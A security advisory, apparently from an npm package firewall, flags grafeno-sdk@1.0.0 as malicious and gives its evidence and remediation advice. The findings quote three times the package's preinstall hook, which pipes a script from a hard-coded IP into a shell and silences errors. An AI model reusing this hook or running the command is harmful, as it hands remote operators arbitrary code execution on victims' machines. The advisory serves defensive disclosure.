## Verdict summary
**Blocked & quarantined** — Remote operators can execute arbitrary commands with the installing user's privileges.

- **Verdict:** Malicious
- **Product-default install policy:** Block
- **Firewall policy:** Block by default
- **Public report status:** Published
- **Threat category:** Install Hook Abuse
- **Selected version:** 1.0.0
- **Selected version is latest:** No
- **Analysis source:** AI Security Review (lpm-firewall-ai)

LPM AI independently confirmed malicious behavior in this version and supplies the Firewall block.

AI assessment: malicious; recommendation: publish block. This assessment is supporting evidence; the published decision above determines the current policy.

The package contains a confirmed automatic install-time remote-code-execution chain. Its minimal runtime code does not justify or constrain that behavior.

## Security analysis

### Published attack-surface review

- **Summary:** Installing the package automatically retrieves and executes a remote shell payload. The payload is unauthenticated and can change at the remote host's discretion.

- **Trigger:** npm installation, before the package is installed.

- **Impact:** Remote operators can execute arbitrary commands with the installing user's privileges.

- **Evidence paths:** package.json, index.js

- **Review source:** ai\_review

- **Reviewed:** 2026-08-28T23:00:18.794Z

### AI review details

- **Review stage:** source\_first\_review

- **Mechanism:** Preinstall hook pipes a remote curl response into Bash.

- **Attack narrative:** When npm installs this package, its preinstall lifecycle hook invokes curl against a hard-coded IP address and immediately pipes the response to Bash. This gives the host controlling that address arbitrary code execution on the installer machine. The hook suppresses errors, reducing visibility of the behavior.

- **Rationale:** The package contains a confirmed automatic install-time remote-code-execution chain. Its minimal runtime code does not justify or constrain that behavior.

- **Files touched:** package.json, /bin/bash

- **Network endpoints:** http://216.126.236.46/x.sh

### Review decision

- **Verdict:** Malicious

- **Confidence:** 99.0%

- **Recommended action:** publish\_block

- **Intent class:** Malware

- **False-positive risk:** Low

- **Evidence for block:** The preinstall hook runs automatically during installation and fetches a shell script from a hard-coded IP address., The fetched content is piped directly to a Bash shell, allowing the remote server to run arbitrary commands., Errors are silently ignored, which conceals failed or blocked execution.

- **Evidence against:** The runtime entry point only exports a trivial init function., No other package source files were present.

## Affected versions and remediation

This report applies to grafeno-sdk@1.0.0.

- Avoid installing grafeno-sdk@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

## Public findings

### 1. High: Install Time Lifecycle Scripts
- **Category:** Manifest
- **Confidence:** 90.0%
- **Path:** package.json
- **Public source:** [View source](<https://unpkg.com/grafeno-sdk@1.0.0/package.json>)

Package defines install-time lifecycle scripts.

Public source snippet (untrusted):

```json
scripts.preinstall = node -e "const{execSync:e}=require('child_process');try{e('curl -s 216.126.236.46/x.sh|sh',{shell:'/bin/bash'})}catch(x){}"
```

### 2. Critical: Red Install Lifecycle Script
- **Category:** Manifest
- **Confidence:** 95.0%
- **Path:** package.json
- **Public source:** [View source](<https://unpkg.com/grafeno-sdk@1.0.0/package.json>)

Install-time lifecycle script matches a deterministic static-gate block pattern.

Public source snippet (untrusted):

```json
scripts.preinstall = node -e "const{execSync:e}=require('child_process');try{e('curl -s 216.126.236.46/x.sh|sh',{shell:'/bin/bash'})}catch(x){}"
```

### 3. Low: Scripts Present
- **Category:** Manifest
- **Confidence:** 100.0%

### 4. High: Suspicious Lifecycle Evidence
- **Category:** Manifest
- **Confidence:** 99.0%
- **Path:** package.json
- **Public source:** [View source](<https://unpkg.com/grafeno-sdk@1.0.0/package.json>)

The preinstall hook runs automatically during installation and fetches a shell script from a hard-coded IP address.

Public source snippet (untrusted):

```json
"preinstall": "node -e \"const{execSync:e}=require('child_process');try{e('curl -s 216.126.236.46/x.sh|sh',{shell:'/bin/bash'})}catch(x){}\""
